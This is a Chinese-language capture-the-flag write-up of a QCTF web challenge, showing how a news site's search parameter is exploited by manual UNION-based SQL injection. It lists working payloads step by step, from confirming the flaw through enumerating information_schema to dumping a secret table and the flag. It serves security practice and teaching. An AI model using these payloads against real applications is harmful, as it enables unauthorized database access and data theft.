题目描述:打开链接,只有一个搜索框,然后就是一条一条新闻的记录
开启burpsuite,我们在搜索框中随便输入点什么,然后进行搜索,看下抓到的包
这里搜索的时候只有一个search参数,查询到的新闻数也变了。这里这里关键渗透点在于这个search参数,而且这种记录一般是存在数据库中的,因此推测这里大概率存在sql注入
1. 思路分析
推测这里存在sql注入,那一般的做法是先确认渗透点,然后确认回显字段,进而利用回显找出数据库名称,表名,字段名,最终查出字段信息。当然,也可以用sqlmap工具,这里为了练习,手动进行相应的操作,就不展示sqlmap了
2. 渗透过程
2.1 首先,我们先确认sql注入点是否存在,构造参数 1' or 1=1 -- 1,发现相比于直接搜索1显示出来的值更全了,因此推测渗透点肯定存在
2.2 然后,确认回显字段,构造参数:1' or 1 = 1 union select 1,2,3 -- 1 ,确认查询记录中的第二和第三个字段进行了回显
2.3 进一步,确认数据库名称,构造参数:1' or 1 = 1 union select 1,2,database() -- 1
2.4 然后,确认表名,构造参数:1' or 1 = 1 union select 1,2,table_name from information_schema.tables where table_schema='news' -- 1
2.5 拿到表中的字段信息,构造查询语句:1' or 1 = 1 union select 1,2,column_name from information_schema.columns where table_schema='news' and table_name='secret_table' -- 1
发现存在两个字段,一个id,一个fl4g
2.6 最后查询出对应的值,构造语句如下:1' or 1 = 1 union select 1,id,fl4g from secret_table -- 1
查询出flag为 QCTF{sq1_inJec7ion_ezzz}
总结:很基础的一道sql注入题目,展示的sql注入的一般过程以及基本方法,利用or及union操作进行绕过,适合练习